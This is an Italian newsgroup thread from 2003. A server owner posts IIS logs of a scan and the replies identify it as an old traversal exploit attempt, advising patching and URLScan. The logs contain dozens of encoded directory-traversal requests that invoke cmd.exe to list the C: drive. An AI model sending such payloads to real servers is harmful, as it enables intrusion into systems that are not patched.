Newsgroup: it.comp.sicurezza.windows
Titolo: Intrusione IIS ?

Salve a tutti,
mi scuso se posto di fretta ma sono un p�allarmato.
Da due giorni ho rimesso su il mio server web IIS dietro un gateway
linux e mi ritrovo il seguente log stanotte...
chi mi spiega cosa succede?
Grazie
2003-02-19 03:49:03 213.93.195.156 - 192.168.1.200 80 HEAD /index.htm
- 200 -
2003-02-19 03:49:03 213.93.195.156 - 192.168.1.200 80 HEAD /etc/passwd
/c+dir+c:\ 404 -
2003-02-19 03:49:04 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\
404 -
2003-02-19 03:49:04 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/..ﾀ/..ﾀ/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:05 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:05 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:06 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:06 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/..ﾁ ..ﾁ ..ﾁ ../winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404
-
2003-02-19 03:49:07 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/..ﾁ ../..ﾁ ../..ﾁ ../winnt/system32/cmd.exe
/c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:07 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:08 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/.._../.._../.._../winnt/system32/cmd.exe /c+dir?/c+dir+c:\
404 -
2003-02-19 03:49:08 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/check.bat/..ﾀ/..ﾀ/..ﾀ/winnt/system32/cmd.exe
/c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:09 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:09 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/check.bat/..ﾁ ..ﾁ ..ﾁ winnt/system32/cmd.exe
/c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:10 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:10 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/c+dir+c:\ 404 -
2003-02-19 03:49:12 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/c+dir+c:\ 404 -
2003-02-19 03:49:12 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/c+dir+c:\ 404 -
2003-02-19 03:49:13 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/c+dir+c:\ 404 -
2003-02-19 03:49:13 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\
404 -
2003-02-19 03:49:14 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..ﾀ/..ﾀ/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:14 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:15 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:15 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2003-02-19 03:49:16 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:16 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2003-02-19 03:49:17 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:17 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:18 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..ﾁ ..ﾁ ..ﾁ ../winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404
-
2003-02-19 03:49:18 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..ﾁ ../..ﾁ ../..ﾁ ../winnt/system32/cmd.exe
/c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:19 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..ﾁ ../winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:19 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:19 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/.._../.._../.._../winnt/system32/cmd.exe /c+dir?/c+dir+c:\
404 -
2003-02-19 03:49:20 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/.._../winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:20 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/check.bat/..ﾀ/..ﾀ/..ﾀ/winnt/system32/cmd.exe
/c+dir?/c+dir+c:\ 404 -
-- 
reintermediare processi front-end

 2003-02-19 03:49:03 213.93.195.156 - 192.168.1.200 80
[CUT]
Significa che Mr. 213.93.195.156 cerca di exploutare sul tuo server (che
avrai ben patchato) una vecchia vulnerabilità. Se la tua macchina è
aggiornata non corri rischi, se cambi Web Server ne corri ancora meno ;-)

 ha scritto nel messaggio
news:YLO4a.135442$ZE.38...@twister2.libero.it...

sottoscrivo, e siccome prevenire e' meglio che curare, aggiungerei:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
tools/tools/urlscan.asp
ciaooo
---------------------------------------------
underscore srad underscore at freemail dot it
---------------------------------------------